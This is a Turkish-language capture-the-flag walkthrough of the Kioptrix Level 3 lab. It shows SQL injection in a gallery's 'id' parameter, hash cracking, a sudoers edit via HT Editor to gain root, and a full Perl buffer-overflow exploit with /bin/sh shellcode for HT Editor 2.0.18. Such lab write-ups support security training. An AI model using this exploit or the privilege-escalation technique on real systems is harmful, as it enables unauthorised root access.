Boot2Root: Kioptrix Level 3

Keşif

Netdiscover bize makinanın IP adresini veriyor:

Screen Shot 2017-07-14 at 22.39.20.png

Bulunan IP adresi üzerindeki servisleri tarıyoruz:

Screen Shot 2017-07-14 at 22.39.26.png

Zafiyet Analizi

Sunucuda çalışan servis versiyonlarından bir şey çıkmadı. Fakat Level 2’de de dediğim gibi; Atalarımız demiş ki: Bir yerde SQL varsa orada SQL injection da vardır.

Exploit

Web arayüzünde fotoğraf galerisine rastlıyoruz. Burada biraz oynadıktan sonra “id” parametresinin SQL Injection zafiyeti barındırdığı görülüyor:

Screen Shot 2017-07-14 at 22.42.40.png

Screen Shot 2017-07-14 at 22.43.04.png

Buradan yola çıkılarak geliştirici kullanıcı adı ve hashleri alınıyor, hashlerin açık halleri de sözlük saldırısı ile elde ediliyor:

Screen Shot 2017-07-14 at 22.43.33.png

Screen Shot 2017-07-14 at 22.43.40.png

Screen Shot 2017-07-14 at 22.43.48.png

 

SSH üzerinden dreg kullanıcısına bağlandığımızda ve privilege escalation exploiti denemek için dosya indirdiğimizde görüyoruz ki dreg kısıtlı bir shelle sahip (privesc başarılı olmadı):

Screen Shot 2017-07-14 at 22.49.41.png

loneferret kullanıcısına geçtiğimizde normal bir shell içerisinde olduğumuzu görüyoruz. Sistem içerisinde gezerken ve zafiyet ararken loneferret’in HT Editor’u root olarak çalıştırabildiğini görüyoruz. Eğer HT Editor exploitlerini şu an deneyecek olursanız, sadece groupid bazında root yetkisine escalate edebildiğimizi de not etmekte fayda var:

Screen Shot 2017-07-14 at 22.51.01.png

HT Editor’ü açmak için enviroment değeri olarak “export TERM=xterm-color ” komutunu girmemiz gerekiyor. Daha sonra editörümüzü açıyoruz:

Screen Shot 2017-07-14 at 22.52.39.png

Editör içerisinde sırasıyla ALT+F > Open > /etc/sudoers yapıyoruz. loneferret kullanıcısınını bulduktan sonra /usr/local/bin/ht yanına /bin/bash ekliyor (virgüle dikkat) ve kaydedip kapatıyoruz. (ALT+F > save > CTRL+Z/C)

Bu işlemden sonra loneferret kullanıcısı artık root yetkisiyle /bin/bash komutunu çalıştırabiliyor. Deniyoruz:

Screen Shot 2017-07-14 at 22.56.00.png

Başarıyla konfigürasyon zafiyetini kullanarak root olmayı başardık.

Root olduktan sonra HT Editor zafiyetini denemek isterseniz; HT Editor Makefile dosyasından SSP’yi kapatmanız ve bu zafiyeti 5.8.8’de çalışır hale getirmeniz gerekiyor:

CFLAGS şu şekilde olmalı:

cat ht-2.0.18/Makefile | grep 'CFLAGS ='
CFLAGS = -DNOMACROS -pipe -O3 -fomit-frame-pointer -Wall -fsigned-char -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -fno-stack-protector -z execstack

5.8.8’de çalışan modifiyeli exploit kodu:

my ($esp, $retaddr);
my $scz =       [       "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e" .
                                "\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8" .
                                "\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67" .
                                "\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30" .
                                "\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4" .
                                "\x53\x52\x54\x8a\xe2\xce\x81",
                                "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" .
                                "\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" .
                                "\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" .
                                "/bin/sh"       ];

print "[*]Looking for \$esp and endwin()...\n";

my $namez = [qw#/usr/local/bin/ht#];

my $infos = get_infos(qx{uname});
my $name = $infos->[0];


print "[+]endwin() address found! (0x", $infos->[3],")\n";

for my $line(qx{objdump -D $name | grep "ff e4"}) {
        $esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}

print "[+]\$esp place found! (0x", $esp, ")\012Now exploiting...\n";

my @payload = ($infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);
exec(@payload);

sub get_infos {
        if($_[0] =~ /Linux/){
                return([$namez->[0], 4108, $scz->[0], getendwin("linux")]);
        }
        elsif($_[0] =~ /FreeBSD/){
                return([$namez->[1], 271, $scz->[1], getendwin("freebsd")]);
        }
        #Possibility to add friends^^
}

sub getendwin {
        if($_[0] =~ /linux/){
                my $n = $namez->[0];
                for (qx{objdump -d $n | grep endwin}){
                        $retaddr = $1, last if ($_ =~ m{(.*) <});
                }
                return($retaddr);
        }
        elsif($_[0] =~ /freebsd/){
                return("282c2990");
        }
}

Flag

Flag /root/Congrats.txt içerisinde bulunuyor. Privilege escalationdan sonra başarıyla okuyabiliyoruz:

Screen Shot 2017-07-14 at 23.06.43.png